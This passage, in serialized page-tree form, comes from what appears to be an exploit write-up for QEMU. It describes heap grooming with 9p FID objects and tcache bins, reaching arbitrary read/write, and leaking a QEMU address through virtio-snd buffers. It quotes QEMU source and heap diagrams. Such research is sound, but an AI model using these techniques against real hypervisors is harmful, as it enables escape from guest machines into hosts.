",{"type":19,"tag":27,"props":127302,"children":127304},{"className":127303},[],[127305],{"type":24,"value":126094},{"type":24,"value":8436},{"type":19,"tag":27,"props":127308,"children":127310},{"className":127309},[],[127311],{"type":24,"value":126086},{"type":24,"value":948},{"type":19,"tag":20,"props":127314,"children":127315},{},[127316,127318,127323,127324,127329,127331,127336,127338,127344,127346,127351,127353,127358,127360,127365,127367,127372,127374,127379],{"type":24,"value":127317},"At this point, ",{"type":19,"tag":27,"props":127319,"children":127321},{"className":127320},[],[127322],{"type":24,"value":126832},{"type":24,"value":12891},{"type":19,"tag":27,"props":127325,"children":127327},{"className":127326},[],[127328],{"type":24,"value":125301},{"type":24,"value":127330}," chunk, while ",{"type":19,"tag":27,"props":127332,"children":127334},{"className":127333},[],[127335],{"type":24,"value":127263},{"type":24,"value":127337}," falls into the ",{"type":19,"tag":27,"props":127339,"children":127341},{"className":127340},[],[127342],{"type":24,"value":127343},"0x120",{"type":24,"value":127345}," size class. Before freeing ",{"type":19,"tag":27,"props":127347,"children":127349},{"className":127348},[],[127350],{"type":24,"value":126832},{"type":24,"value":127352},", we therefore use the oversized ",{"type":19,"tag":27,"props":127354,"children":127356},{"className":127355},[],[127357],{"type":24,"value":126840},{"type":24,"value":127359}," chunk to change its size to match ",{"type":19,"tag":27,"props":127361,"children":127363},{"className":127362},[],[127364],{"type":24,"value":127263},{"type":24,"value":127366},". Once ",{"type":19,"tag":27,"props":127368,"children":127370},{"className":127369},[],[127371],{"type":24,"value":126832},{"type":24,"value":127373}," is freed, it is inserted into the ",{"type":19,"tag":27,"props":127375,"children":127377},{"className":127376},[],[127378],{"type":24,"value":127343},{"type":24,"value":127380}," tcache bin.",{"type":19,"tag":158,"props":127382,"children":127384},{"code":127383}," .value Y extended\n |\n+--------------------+--------------------+\n| |\n| Free |\nv 0x120 v\n+--------------------+---------------+----+\n| |...............| |\n| .value Y |...............| |\n| |...............| |\n+--------------------+---------------+----+\n",[127385],{"type":19,"tag":27,"props":127386,"children":127387},{"__ignoreMap":7},[127388],{"type":24,"value":127383},{"type":19,"tag":20,"props":127390,"children":127391},{},[127392,127394,127399,127401,127407,127409,127415,127417,127422],{"type":24,"value":127393},"After that, we can simply allocate a new ",{"type":19,"tag":27,"props":127395,"children":127397},{"className":127396},[],[127398],{"type":24,"value":127263},{"type":24,"value":127400}," with a ",{"type":19,"tag":27,"props":127402,"children":127404},{"className":127403},[],[127405],{"type":24,"value":127406},"P9_TWALK",{"type":24,"value":127408}," request and a fresh FID - this reaches ",{"type":19,"tag":27,"props":127410,"children":127412},{"className":127411},[],[127413],{"type":24,"value":127414},"alloc_fid",{"type":24,"value":127416},", which allocates a new ",{"type":19,"tag":27,"props":127418,"children":127420},{"className":127419},[],[127421],{"type":24,"value":127263},{"type":24,"value":1922},{"type":19,"tag":158,"props":127424,"children":127426},{"code":127425,"language":543,"meta":7,"className":13963,"style":7},"static void coroutine_fn v9fs_walk(void *opaque)\n{\n V9fsFidState *fidp;\n V9fsFidState *newfidp = NULL;\n\n [...]\n\n if (fid == newfid) {\n [...]\n } else {\n newfidp = alloc_fid(s, newfid);\n if (newfidp == NULL) {\n err = -EINVAL;\n goto out;\n }\n newfidp->uid = fidp->uid;\n v9fs_path_copy(&newfidp->path, &path);\n }\n\n [...]\n}\n\nstatic V9fsFidState *alloc_fid(V9fsState *s, int32_t fid)\n{\n V9fsFidState *f;\n\n f = g_hash_table_lookup(s->fids, GINT_TO_POINTER(fid));\n if (f) {\n /* If fid is already there return NULL */\n BUG_ON(f->clunked);\n return NULL;\n }\n f = g_new0(V9fsFidState, 1);\n\n [...]\n",[127427],{"type":19,"tag":27,"props":127428,"children":127429},{"__ignoreMap":7},[127430,127470,127477,127493,127521,127528,127535,127542,127563,127570,127585,127607,127631,127652,127663,127670,127708,127750,127757,127764,127771,127778,127785,127836,127843,127858,127865,127913,127925,127933,127962,127977,127984,128013,128020],{"type":19,"tag":168,"props":127431,"children":127432},{"class":170,"line":171},[127433,127437,127441,127445,127450,127454,127458,127462,127466],{"type":19,"tag":168,"props":127434,"children":127435},{"style":382},[127436],{"type":24,"value":48527},{"type":19,"tag":168,"props":127438,"children":127439},{"style":382},[127440],{"type":24,"value":48532},{"type":19,"tag":168,"props":127442,"children":127443},{"style":212},[127444],{"type":24,"value":125431},{"type":19,"tag":168,"props":127446,"children":127447},{"style":175},[127448],{"type":24,"value":127449},"v9fs_walk",{"type":19,"tag":168,"props":127451,"children":127452},{"style":212},[127453],{"type":24,"value":500},{"type":19,"tag":168,"props":127455,"children":127456},{"style":382},[127457],{"type":24,"value":49110},{"type":19,"tag":168,"props":127459,"children":127460},{"style":399},[127461],{"type":24,"value":7259},{"type":19,"tag":168,"props":127463,"children":127464},{"style":393},[127465],{"type":24,"value":125453},{"type":19,"tag":168,"props":127467,"children":127468},{"style":212},[127469],{"type":24,"value":557},{"type":19,"tag":168,"props":127471,"children":127472},{"class":170,"line":198},[127473],{"type":19,"tag":168,"props":127474,"children":127475},{"style":212},[127476],{"type":24,"value":8324},{"type":19,"tag":168,"props":127478,"children":127479},{"class":170,"line":415},[127480,127484,127488],{"type":19,"tag":168,"props":127481,"children":127482},{"style":212},[127483],{"type":24,"value":125578},{"type":19,"tag":168,"props":127485,"children":127486},{"style":399},[127487],{"type":24,"value":2002},{"type":19,"tag":168,"props":127489,"children":127490},{"style":212},[127491],{"type":24,"value":127492},"fidp;\n",{"type":19,"tag":168,"props":127494,"children":127495},{"class":170,"line":450},[127496,127500,127504,127509,127513,127517],{"type":19,"tag":168,"props":127497,"children":127498},{"style":212},[127499],{"type":24,"value":125578},{"type":19,"tag":168,"props":127501,"children":127502},{"style":399},[127503],{"type":24,"value":2002},{"type":19,"tag":168,"props":127505,"children":127506},{"style":212},[127507],{"type":24,"value":127508},"newfidp ",{"type":19,"tag":168,"props":127510,"children":127511},{"style":399},[127512],{"type":24,"value":486},{"type":19,"tag":168,"props":127514,"children":127515},{"style":382},[127516],{"type":24,"value":125257},{"type":19,"tag":168,"props":127518,"children":127519},{"style":212},[127520],{"type":24,"value":412},{"type":19,"tag":168,"props":127522,"children":127523},{"class":170,"line":560},[127524],{"type":19,"tag":168,"props":127525,"children":127526},{"emptyLinePlaceholder":14},[127527],{"type":24,"value":1093},{"type":19,"tag":168,"props":127529,"children":127530},{"class":170,"line":666},[127531],{"type":19,"tag":168,"props":127532,"children":127533},{"style":212},[127534],{"type":24,"value":102288},{"type":19,"tag":168,"props":127536,"children":127537},{"class":170,"line":694},[127538],{"type":19,"tag":168,"props":127539,"children":127540},{"emptyLinePlaceholder":14},[127541],{"type":24,"value":1093},{"type":19,"tag":168,"props":127543,"children":127544},{"class":170,"line":707},[127545,127549,127554,127558],{"type":19,"tag":168,"props":127546,"children":127547},{"style":419},[127548],{"type":24,"value":9724},{"type":19,"tag":168,"props":127550,"children":127551},{"style":212},[127552],{"type":24,"value":127553}," (fid ",{"type":19,"tag":168,"props":127555,"children":127556},{"style":399},[127557],{"type":24,"value":6013},{"type":19,"tag":168,"props":127559,"children":127560},{"style":212},[127561],{"type":24,"value":127562}," newfid) {\n",{"type":19,"tag":168,"props":127564,"children":127565},{"class":170,"line":725},[127566],{"type":19,"tag":168,"props":127567,"children":127568},{"style":212},[127569],{"type":24,"value":121526},{"type":19,"tag":168,"props":127571,"children":127572},{"class":170,"line":746},[127573,127577,127581],{"type":19,"tag":168,"props":127574,"children":127575},{"style":212},[127576],{"type":24,"value":13227},{"type":19,"tag":168,"props":127578,"children":127579},{"style":419},[127580],{"type":24,"value":718},{"type":19,"tag":168,"props":127582,"children":127583},{"style":212},[127584],{"type":24,"value":691},{"type":19,"tag":168,"props":127586,"children":127587},{"class":170,"line":755},[127588,127593,127597,127602],{"type":19,"tag":168,"props":127589,"children":127590},{"style":212},[127591],{"type":24,"value":127592}," newfidp ",{"type":19,"tag":168,"props":127594,"children":127595},{"style":399},[127596],{"type":24,"value":486},{"type":19,"tag":168,"props":127598,"children":127599},{"style":175},[127600],{"type":24,"value":127601}," alloc_fid",{"type":19,"tag":168,"props":127603,"children":127604},{"style":212},[127605],{"type":24,"value":127606},"(s, newfid);\n",{"type":19,"tag":168,"props":127608,"children":127609},{"class":170,"line":1008},[127610,127614,127619,127623,127627],{"type":19,"tag":168,"props":127611,"children":127612},{"style":419},[127613],{"type":24,"value":672},{"type":19,"tag":168,"props":127615,"children":127616},{"style":212},[127617],{"type":24,"value":127618}," (newfidp ",{"type":19,"tag":168,"props":127620,"children":127621},{"style":399},[127622],{"type":24,"value":6013},{"type":19,"tag":168,"props":127624,"children":127625},{"style":382},[127626],{"type":24,"value":125257},{"type":19,"tag":168,"props":127628,"children":127629},{"style":212},[127630],{"type":24,"value":12250},{"type":19,"tag":168,"props":127632,"children":127633},{"class":170,"line":1025},[127634,127639,127643,127647],{"type":19,"tag":168,"props":127635,"children":127636},{"style":212},[127637],{"type":24,"value":127638}," err ",{"type":19,"tag":168,"props":127640,"children":127641},{"style":399},[127642],{"type":24,"value":486},{"type":19,"tag":168,"props":127644,"children":127645},{"style":399},[127646],{"type":24,"value":48738},{"type":19,"tag":168,"props":127648,"children":127649},{"style":212},[127650],{"type":24,"value":127651},"EINVAL;\n",{"type":19,"tag":168,"props":127653,"children":127654},{"class":170,"line":1042},[127655,127659],{"type":19,"tag":168,"props":127656,"children":127657},{"style":419},[127658],{"type":24,"value":58034},{"type":19,"tag":168,"props":127660,"children":127661},{"style":212},[127662],{"type":24,"value":58039},{"type":19,"tag":168,"props":127664,"children":127665},{"class":170,"line":1055},[127666],{"type":19,"tag":168,"props":127667,"children":127668},{"style":212},[127669],{"type":24,"value":752},{"type":19,"tag":168,"props":127671,"children":127672},{"class":170,"line":1064},[127673,127678,127682,127687,127691,127696,127700,127704],{"type":19,"tag":168,"props":127674,"children":127675},{"style":393},[127676],{"type":24,"value":127677}," newfidp",{"type":19,"tag":168,"props":127679,"children":127680},{"style":212},[127681],{"type":24,"value":11203},{"type":19,"tag":168,"props":127683,"children":127684},{"style":393},[127685],{"type":24,"value":127686},"uid",{"type":19,"tag":168,"props":127688,"children":127689},{"style":399},[127690],{"type":24,"value":402},{"type":19,"tag":168,"props":127692,"children":127693},{"style":393},[127694],{"type":24,"value":127695}," fidp",{"type":19,"tag":168,"props":127697,"children":127698},{"style":212},[127699],{"type":24,"value":11203},{"type":19,"tag":168,"props":127701,"children":127702},{"style":393},[127703],{"type":24,"value":127686},{"type":19,"tag":168,"props":127705,"children":127706},{"style":212},[127707],{"type":24,"value":412},{"type":19,"tag":168,"props":127709,"children":127710},{"class":170,"line":1087},[127711,127716,127720,127724,127729,127733,127737,127741,127745],{"type":19,"tag":168,"props":127712,"children":127713},{"style":175},[127714],{"type":24,"value":127715}," v9fs_path_copy",{"type":19,"tag":168,"props":127717,"children":127718},{"style":212},[127719],{"type":24,"value":500},{"type":19,"tag":168,"props":127721,"children":127722},{"style":399},[127723],{"type":24,"value":505},{"type":19,"tag":168,"props":127725,"children":127726},{"style":393},[127727],{"type":24,"value":127728},"newfidp",{"type":19,"tag":168,"props":127730,"children":127731},{"style":212},[127732],{"type":24,"value":11203},{"type":19,"tag":168,"props":127734,"children":127735},{"style":393},[127736],{"type":24,"value":109811},{"type":19,"tag":168,"props":127738,"children":127739},{"style":212},[127740],{"type":24,"value":471},{"type":19,"tag":168,"props":127742,"children":127743},{"style":399},[127744],{"type":24,"value":505},{"type":19,"tag":168,"props":127746,"children":127747},{"style":212},[127748],{"type":24,"value":127749},"path);\n",{"type":19,"tag":168,"props":127751,"children":127752},{"class":170,"line":1096},[127753],{"type":19,"tag":168,"props":127754,"children":127755},{"style":212},[127756],{"type":24,"value":761},{"type":19,"tag":168,"props":127758,"children":127759},{"class":170,"line":1105},[127760],{"type":19,"tag":168,"props":127761,"children":127762},{"emptyLinePlaceholder":14},[127763],{"type":24,"value":1093},{"type":19,"tag":168,"props":127765,"children":127766},{"class":170,"line":1174},[127767],{"type":19,"tag":168,"props":127768,"children":127769},{"style":212},[127770],{"type":24,"value":102288},{"type":19,"tag":168,"props":127772,"children":127773},{"class":170,"line":1182},[127774],{"type":19,"tag":168,"props":127775,"children":127776},{"style":212},[127777],{"type":24,"value":1326},{"type":19,"tag":168,"props":127779,"children":127780},{"class":170,"line":1212},[127781],{"type":19,"tag":168,"props":127782,"children":127783},{"emptyLinePlaceholder":14},[127784],{"type":24,"value":1093},{"type":19,"tag":168,"props":127786,"children":127787},{"class":170,"line":1220},[127788,127792,127797,127801,127805,127810,127814,127818,127822,127827,127832],{"type":19,"tag":168,"props":127789,"children":127790},{"style":382},[127791],{"type":24,"value":48527},{"type":19,"tag":168,"props":127793,"children":127794},{"style":212},[127795],{"type":24,"value":127796}," V9fsFidState ",{"type":19,"tag":168,"props":127798,"children":127799},{"style":399},[127800],{"type":24,"value":2002},{"type":19,"tag":168,"props":127802,"children":127803},{"style":175},[127804],{"type":24,"value":127414},{"type":19,"tag":168,"props":127806,"children":127807},{"style":212},[127808],{"type":24,"value":127809},"(V9fsState ",{"type":19,"tag":168,"props":127811,"children":127812},{"style":399},[127813],{"type":24,"value":2002},{"type":19,"tag":168,"props":127815,"children":127816},{"style":393},[127817],{"type":24,"value":8095},{"type":19,"tag":168,"props":127819,"children":127820},{"style":212},[127821],{"type":24,"value":471},{"type":19,"tag":168,"props":127823,"children":127824},{"style":382},[127825],{"type":24,"value":127826},"int32_t",{"type":19,"tag":168,"props":127828,"children":127829},{"style":393},[127830],{"type":24,"value":127831}," fid",{"type":19,"tag":168,"props":127833,"children":127834},{"style":212},[127835],{"type":24,"value":557},{"type":19,"tag":168,"props":127837,"children":127838},{"class":170,"line":1252},[127839],{"type":19,"tag":168,"props":127840,"children":127841},{"style":212},[127842],{"type":24,"value":8324},{"type":19,"tag":168,"props":127844,"children":127845},{"class":170,"line":1260},[127846,127850,127854],{"type":19,"tag":168,"props":127847,"children":127848},{"style":212},[127849],{"type":24,"value":125578},{"type":19,"tag":168,"props":127851,"children":127852},{"style":399},[127853],{"type":24,"value":2002},{"type":19,"tag":168,"props":127855,"children":127856},{"style":212},[127857],{"type":24,"value":48648},{"type":19,"tag":168,"props":127859,"children":127860},{"class":170,"line":1320},[127861],{"type":19,"tag":168,"props":127862,"children":127863},{"emptyLinePlaceholder":14},[127864],{"type":24,"value":1093},{"type":19,"tag":168,"props":127866,"children":127867},{"class":170,"line":6486},[127868,127873,127877,127882,127886,127890,127894,127899,127903,127908],{"type":19,"tag":168,"props":127869,"children":127870},{"style":212},[127871],{"type":24,"value":127872}," f ",{"type":19,"tag":168,"props":127874,"children":127875},{"style":399},[127876],{"type":24,"value":486},{"type":19,"tag":168,"props":127878,"children":127879},{"style":175},[127880],{"type":24,"value":127881}," g_hash_table_lookup",{"type":19,"tag":168,"props":127883,"children":127884},{"style":212},[127885],{"type":24,"value":500},{"type":19,"tag":168,"props":127887,"children":127888},{"style":393},[127889],{"type":24,"value":8095},{"type":19,"tag":168,"props":127891,"children":127892},{"style":212},[127893],{"type":24,"value":11203},{"type":19,"tag":168,"props":127895,"children":127896},{"style":393},[127897],{"type":24,"value":127898},"fids",{"type":19,"tag":168,"props":127900,"children":127901},{"style":212},[127902],{"type":24,"value":471},{"type":19,"tag":168,"props":127904,"children":127905},{"style":175},[127906],{"type":24,"value":127907},"GINT_TO_POINTER",{"type":19,"tag":168,"props":127909,"children":127910},{"style":212},[127911],{"type":24,"value":127912},"(fid));\n",{"type":19,"tag":168,"props":127914,"children":127915},{"class":170,"line":6504},[127916,127920],{"type":19,"tag":168,"props":127917,"children":127918},{"style":419},[127919],{"type":24,"value":9724},{"type":19,"tag":168,"props":127921,"children":127922},{"style":212},[127923],{"type":24,"value":127924}," (f) {\n",{"type":19,"tag":168,"props":127926,"children":127927},{"class":170,"line":6549},[127928],{"type":19,"tag":168,"props":127929,"children":127930},{"style":373},[127931],{"type":24,"value":127932}," /* If fid is already there return NULL */\n",{"type":19,"tag":168,"props":127934,"children":127935},{"class":170,"line":6655},[127936,127941,127945,127949,127953,127958],{"type":19,"tag":168,"props":127937,"children":127938},{"style":175},[127939],{"type":24,"value":127940}," BUG_ON",{"type":19,"tag":168,"props":127942,"children":127943},{"style":212},[127944],{"type":24,"value":500},{"type":19,"tag":168,"props":127946,"children":127947},{"style":393},[127948],{"type":24,"value":30558},{"type":19,"tag":168,"props":127950,"children":127951},{"style":212},[127952],{"type":24,"value":11203},{"type":19,"tag":168,"props":127954,"children":127955},{"style":393},[127956],{"type":24,"value":127957},"clunked",{"type":19,"tag":168,"props":127959,"children":127960},{"style":212},[127961],{"type":24,"value":1249},{"type":19,"tag":168,"props":127963,"children":127964},{"class":170,"line":20965},[127965,127969,127973],{"type":19,"tag":168,"props":127966,"children":127967},{"style":419},[127968],{"type":24,"value":13192},{"type":19,"tag":168,"props":127970,"children":127971},{"style":382},[127972],{"type":24,"value":125257},{"type":19,"tag":168,"props":127974,"children":127975},{"style":212},[127976],{"type":24,"value":412},{"type":19,"tag":168,"props":127978,"children":127979},{"class":170,"line":21000},[127980],{"type":19,"tag":168,"props":127981,"children":127982},{"style":212},[127983],{"type":24,"value":761},{"type":19,"tag":168,"props":127985,"children":127986},{"class":170,"line":21008},[127987,127991,127995,128000,128005,128009],{"type":19,"tag":168,"props":127988,"children":127989},{"style":212},[127990],{"type":24,"value":127872},{"type":19,"tag":168,"props":127992,"children":127993},{"style":399},[127994],{"type":24,"value":486},{"type":19,"tag":168,"props":127996,"children":127997},{"style":175},[127998],{"type":24,"value":127999}," g_new0",{"type":19,"tag":168,"props":128001,"children":128002},{"style":212},[128003],{"type":24,"value":128004},"(V9fsFidState, ",{"type":19,"tag":168,"props":128006,"children":128007},{"style":192},[128008],{"type":24,"value":1442},{"type":19,"tag":168,"props":128010,"children":128011},{"style":212},[128012],{"type":24,"value":1249},{"type":19,"tag":168,"props":128014,"children":128015},{"class":170,"line":21016},[128016],{"type":19,"tag":168,"props":128017,"children":128018},{"emptyLinePlaceholder":14},[128019],{"type":24,"value":1093},{"type":19,"tag":168,"props":128021,"children":128022},{"class":170,"line":21025},[128023],{"type":19,"tag":168,"props":128024,"children":128025},{"style":212},[128026],{"type":24,"value":102288},{"type":19,"tag":20,"props":128028,"children":128029},{},[128030,128032,128037],{"type":24,"value":128031},"After it is allocated, it will be placed into that freed region in place of the old ",{"type":19,"tag":27,"props":128033,"children":128035},{"className":128034},[],[128036],{"type":24,"value":126832},{"type":24,"value":126169},{"type":19,"tag":158,"props":128039,"children":128041},{"code":128040}," .value Y extended\n |\n+--------------------+--------------------+\n| |\n| |\nv v\n+--------------------+---------------+----+\n| | |....|\n| .value Y | V9fsFidState |....|\n| | |....|\n+--------------------+---------------+----+\n",[128042],{"type":19,"tag":27,"props":128043,"children":128044},{"__ignoreMap":7},[128045],{"type":24,"value":128040},{"type":19,"tag":16345,"props":128047,"children":128049},{"id":128048},"leaking-a-qemu-address",[128050],{"type":24,"value":128051},"Leaking a QEMU Address",{"type":19,"tag":20,"props":128053,"children":128054},{},[128055],{"type":24,"value":128056},"We now have an arbitrary read/write primitive and a controlled chunk at a known address. The next step is to leak a QEMU code address so we can later redirect execution. To do this, we combine the arbitrary read primitive with the known-address chunk: we free that chunk, replace it with an object that contains pointers into QEMU's code or data, and then use arbitrary read to leak its fields.",{"type":19,"tag":20,"props":128058,"children":128059},{},[128060,128062,128067],{"type":24,"value":128061},"For this, we go back to virtio-snd and its buffer allocations. Recall ",{"type":19,"tag":27,"props":128063,"children":128065},{"className":128064},[],[128066],{"type":24,"value":121252},{"type":24,"value":1922},{"type":19,"tag":158,"props":128069,"children":128071},{"code":128070,"language":543,"meta":7,"className":13963,"style":7},"static void virtio_snd_handle_rx_xfer(VirtIODevice *vdev, VirtQueue *vq)\n{\n VirtIOSound *vsnd = VIRTIO_SND(vdev);\n VirtIOSoundPCMBuffer *buffer;\n VirtQueueElement *elem;\n size_t msg_sz, size;\n uint32_t stream_id;\n\n [...]\n\n for (;;) {\n VirtIOSoundPCMStream *stream;\n\n elem = virtqueue_pop(vq, sizeof(VirtQueueElement));\n if (!elem) {\n break;\n }\n /* get the message hdr object */\n msg_sz = iov_to_buf(elem->out_sg,\n elem->out_num,\n 0,\n &hdr,\n sizeof(virtio_snd_pcm_xfer));\n if (msg_sz != sizeof(virtio_snd_pcm_xfer)) {\n goto rx_err;\n }\n stream_id = le32_to_cpu(hdr.stream_id);\n\n [...]\n\n WITH_QEMU_LOCK_GUARD(&stream->queue_mutex) {\n size = iov_size(elem->in_sg, elem->in_num) -\n sizeof(virtio_snd_pcm_status);\n buffer = g_malloc0(sizeof(VirtIOSoundPCMBuffer) + size); // [1]\n buffer->elem = elem;\n buffer->vq = vq; // [2]\n buffer->size = 0;\n buffer->offset = 0;\n QSIMPLEQ_INSERT_TAIL(&stream->queue, buffer, entry);\n }\n",[128072],{"type":19,"tag":27,"props":128073,"children":128074},{"__ignoreMap":7},[128075,128118,128125,128156,128171,128186,128198,128211,128218,128225,128232,128243,128258,128265,128293,128312,128323,128330,128338,128375,128396,128408,128421,128434,128460,128472,128479,128517,128524,128531,128538,128569,128624,128636,128677,128700,128729,128756,128783,128815],{"type":19,"tag":168,"props":128076,"children":128077},{"class":170,"line":171},[128078,128082,128086,128090,128094,128098,128102,128106,128110,128114],{"type":19,"tag":168,"props":128079,"children":128080},{"style":382},[128081],{"type":24,"value":48527},{"type":19,"tag":168,"props":128083,"children":128084},{"style":382},[128085],{"type":24,"value":48532},{"type":19,"tag":168,"props":128087,"children":128088},{"style":175},[128089],{"type":24,"value":121331},{"type":19,"tag":168,"props":128091,"children":128092},{"style":212},[128093],{"type":24,"value":121336},{"type":19,"tag":168,"props":128095,"children":128096},{"style":399},[128097],{"type":24,"value":2002},{"type":19,"tag":168,"props":128099,"children":128100},{"style":393},[128101],{"type":24,"value":121345},{"type":19,"tag":168,"props":128103,"children":128104},{"style":212},[128105],{"type":24,"value":121350},{"type":19,"tag":168,"props":128107,"children":128108},{"style":399},[128109],{"type":24,"value":2002},{"type":19,"tag":168,"props":128111,"children":128112},{"style":393},[128113],{"type":24,"value":121359},{"type":19,"tag":168,"props":128115,"children":128116},{"style":212},[128117],{"type":24,"value":557},{"type":19,"tag":168,"props":128119,"children":128120},{"class":170,"line":198},[128121],{"type":19,"tag":168,"props":128122,"children":128123},{"style":212},[128124],{"type":24,"value":8324},{"type":19,"tag":168,"props":128126,"children":128127},{"class":170,"line":415},[128128,128133,128137,128142,128146,128151],{"type":19,"tag":168,"props":128129,"children":128130},{"style":212},[128131],{"type":24,"value":128132}," VirtIOSound ",{"type":19,"tag":168,"props":128134,"children":128135},{"style":399},[128136],{"type":24,"value":2002},{"type":19,"tag":168,"props":128138,"children":128139},{"style":212},[128140],{"type":24,"value":128141},"vsnd ",{"type":19,"tag":168,"props":128143,"children":128144},{"style":399},[128145],{"type":24,"value":486},{"type":19,"tag":168,"props":128147,"children":128148},{"style":175},[128149],{"type":24,"value":128150}," VIRTIO_SND",{"type":19,"tag":168,"props":128152,"children":128153},{"style":212},[128154],{"type":24,"value":128155},"(vdev);\n",{"type":19,"tag":168,"props":128157,"children":128158},{"class":170,"line":450},[128159,128163,128167],{"type":19,"tag":168,"props":128160,"children":128161},{"style":212},[128162],{"type":24,"value":122349},{"type":19,"tag":168,"props":128164,"children":128165},{"style":399},[128166],{"type":24,"value":2002},{"type":19,"tag":168,"props":128168,"children":128169},{"style":212},[128170],{"type":24,"value":122358},{"type":19,"tag":168,"props":128172,"children":128173},{"class":170,"line":560},[128174,128178,128182],{"type":19,"tag":168,"props":128175,"children":128176},{"style":212},[128177],{"type":24,"value":121378},{"type":19,"tag":168,"props":128179,"children":128180},{"style":399},[128181],{"type":24,"value":2002},{"type":19,"tag":168,"props":128183,"children":128184},{"style":212},[128185],{"type":24,"value":121387},{"type":19,"tag":168,"props":128187,"children":128188},{"class":170,"line":666},[128189,128193],{"type":19,"tag":168,"props":128190,"children":128191},{"style":382},[128192],{"type":24,"value":14013},{"type":19,"tag":168,"props":128194,"children":128195},{"style":212},[128196],{"type":24,"value":128197}," msg_sz, size;\n",{"type":19,"tag":168,"props":128199,"children":128200},{"class":170,"line":694},[128201,128206],{"type":19,"tag":168,"props":128202,"children":128203},{"style":382},[128204],{"type":24,"value":128205}," uint32_t",{"type":19,"tag":168,"props":128207,"children":128208},{"style":212},[128209],{"type":24,"value":128210}," stream_id;\n",{"type":19,"tag":168,"props":128212,"children":128213},{"class":170,"line":707},[128214],{"type":19,"tag":168,"props":128215,"children":128216},{"emptyLinePlaceholder":14},[128217],{"type":24,"value":1093},{"type":19,"tag":168,"props":128219,"children":128220},{"class":170,"line":725},[128221],{"type":19,"tag":168,"props":128222,"children":128223},{"style":212},[128224],{"type":24,"value":102288},{"type":19,"tag":168,"props":128226,"children":128227},{"class":170,"line":746},[128228],{"type":19,"tag":168,"props":128229,"children":128230},{"emptyLinePlaceholder":14},[128231],{"type":24,"value":1093},{"type":19,"tag":168,"props":128233,"children":128234},{"class":170,"line":755},[128235,128239],{"type":19,"tag":168,"props":128236,"children":128237},{"style":419},[128238],{"type":24,"value":422},{"type":19,"tag":168,"props":128240,"children":128241},{"style":212},[128242],{"type":24,"value":121413},{"type":19,"tag":168,"props":128244,"children":128245},{"class":170,"line":1008},[128246,128250,128254],{"type":19,"tag":168,"props":128247,"children":128248},{"style":212},[128249],{"type":24,"value":121421},{"type":19,"tag":168,"props":128251,"children":128252},{"style":399},[128253],{"type":24,"value":2002},{"type":19,"tag":168,"props":128255,"children":128256},{"style":212},[128257],{"type":24,"value":121430},{"type":19,"tag":168,"props":128259,"children":128260},{"class":170,"line":1025},[128261],{"type":19,"tag":168,"props":128262,"children":128263},{"emptyLinePlaceholder":14},[128264],{"type":24,"value":1093},{"type":19,"tag":168,"props":128266,"children":128267},{"class":170,"line":1042},[128268,128272,128276,128280,128284,128288],{"type":19,"tag":168,"props":128269,"children":128270},{"style":212},[128271],{"type":24,"value":121445},{"type":19,"tag":168,"props":128273,"children":128274},{"style":399},[128275],{"type":24,"value":486},{"type":19,"tag":168,"props":128277,"children":128278},{"style":175},[128279],{"type":24,"value":121454},{"type":19,"tag":168,"props":128281,"children":128282},{"style":212},[128283],{"type":24,"value":121459},{"type":19,"tag":168,"props":128285,"children":128286},{"style":382},[128287],{"type":24,"value":52811},{"type":19,"tag":168,"props":128289,"children":128290},{"style":212},[128291],{"type":24,"value":128292},"(VirtQueueElement));\n",{"type":19,"tag":168,"props":128294,"children":128295},{"class":170,"line":1055},[128296,128300,128304,128308],{"type":19,"tag":168,"props":128297,"children":128298},{"style":419},[128299],{"type":24,"value":672},{"type":19,"tag":168,"props":128301,"children":128302},{"style":212},[128303],{"type":24,"value":461},{"type":19,"tag":168,"props":128305,"children":128306},{"style":399},[128307],{"type":24,"value":18076},{"type":19,"tag":168,"props":128309,"children":128310},{"style":212},[128311],{"type":24,"value":121493},{"type":19,"tag":168,"props":128313,"children":128314},{"class":170,"line":1064},[128315,128319],{"type":19,"tag":168,"props":128316,"children":128317},{"style":419},[128318],{"type":24,"value":700},{"type":19,"tag":168,"props":128320,"children":128321},{"style":212},[128322],{"type":24,"value":412},{"type":19,"tag":168,"props":128324,"children":128325},{"class":170,"line":1087},[128326],{"type":19,"tag":168,"props":128327,"children":128328},{"style":212},[128329],{"type":24,"value":752},{"type":19,"tag":168,"props":128331,"children":128332},{"class":170,"line":1096},[128333],{"type":19,"tag":168,"props":128334,"children":128335},{"style":373},[128336],{"type":24,"value":128337}," /* get the message hdr object */\n",{"type":19,"tag":168,"props":128339,"children":128340},{"class":170,"line":1105},[128341,128346,128350,128355,128359,128363,128367,128371],{"type":19,"tag":168,"props":128342,"children":128343},{"style":212},[128344],{"type":24,"value":128345}," msg_sz ",{"type":19,"tag":168,"props":128347,"children":128348},{"style":399},[128349],{"type":24,"value":486},{"type":19,"tag":168,"props":128351,"children":128352},{"style":175},[128353],{"type":24,"value":128354}," iov_to_buf",{"type":19,"tag":168,"props":128356,"children":128357},{"style":212},[128358],{"type":24,"value":500},{"type":19,"tag":168,"props":128360,"children":128361},{"style":393},[128362],{"type":24,"value":49547},{"type":19,"tag":168,"props":128364,"children":128365},{"style":212},[128366],{"type":24,"value":11203},{"type":19,"tag":168,"props":128368,"children":128369},{"style":393},[128370],{"type":24,"value":121897},{"type":19,"tag":168,"props":128372,"children":128373},{"style":212},[128374],{"type":24,"value":915},{"type":19,"tag":168,"props":128376,"children":128377},{"class":170,"line":1174},[128378,128383,128387,128392],{"type":19,"tag":168,"props":128379,"children":128380},{"style":393},[128381],{"type":24,"value":128382}," elem",{"type":19,"tag":168,"props":128384,"children":128385},{"style":212},[128386],{"type":24,"value":11203},{"type":19,"tag":168,"props":128388,"children":128389},{"style":393},[128390],{"type":24,"value":128391},"out_num",{"type":19,"tag":168,"props":128393,"children":128394},{"style":212},[128395],{"type":24,"value":915},{"type":19,"tag":168,"props":128397,"children":128398},{"class":170,"line":1182},[128399,128404],{"type":19,"tag":168,"props":128400,"children":128401},{"style":192},[128402],{"type":24,"value":128403}," 0",{"type":19,"tag":168,"props":128405,"children":128406},{"style":212},[128407],{"type":24,"value":915},{"type":19,"tag":168,"props":128409,"children":128410},{"class":170,"line":1212},[128411,128416],{"type":19,"tag":168,"props":128412,"children":128413},{"style":399},[128414],{"type":24,"value":128415}," &",{"type":19,"tag":168,"props":128417,"children":128418},{"style":212},[128419],{"type":24,"value":128420},"hdr,\n",{"type":19,"tag":168,"props":128422,"children":128423},{"class":170,"line":1220},[128424,128429],{"type":19,"tag":168,"props":128425,"children":128426},{"style":382},[128427],{"type":24,"value":128428}," 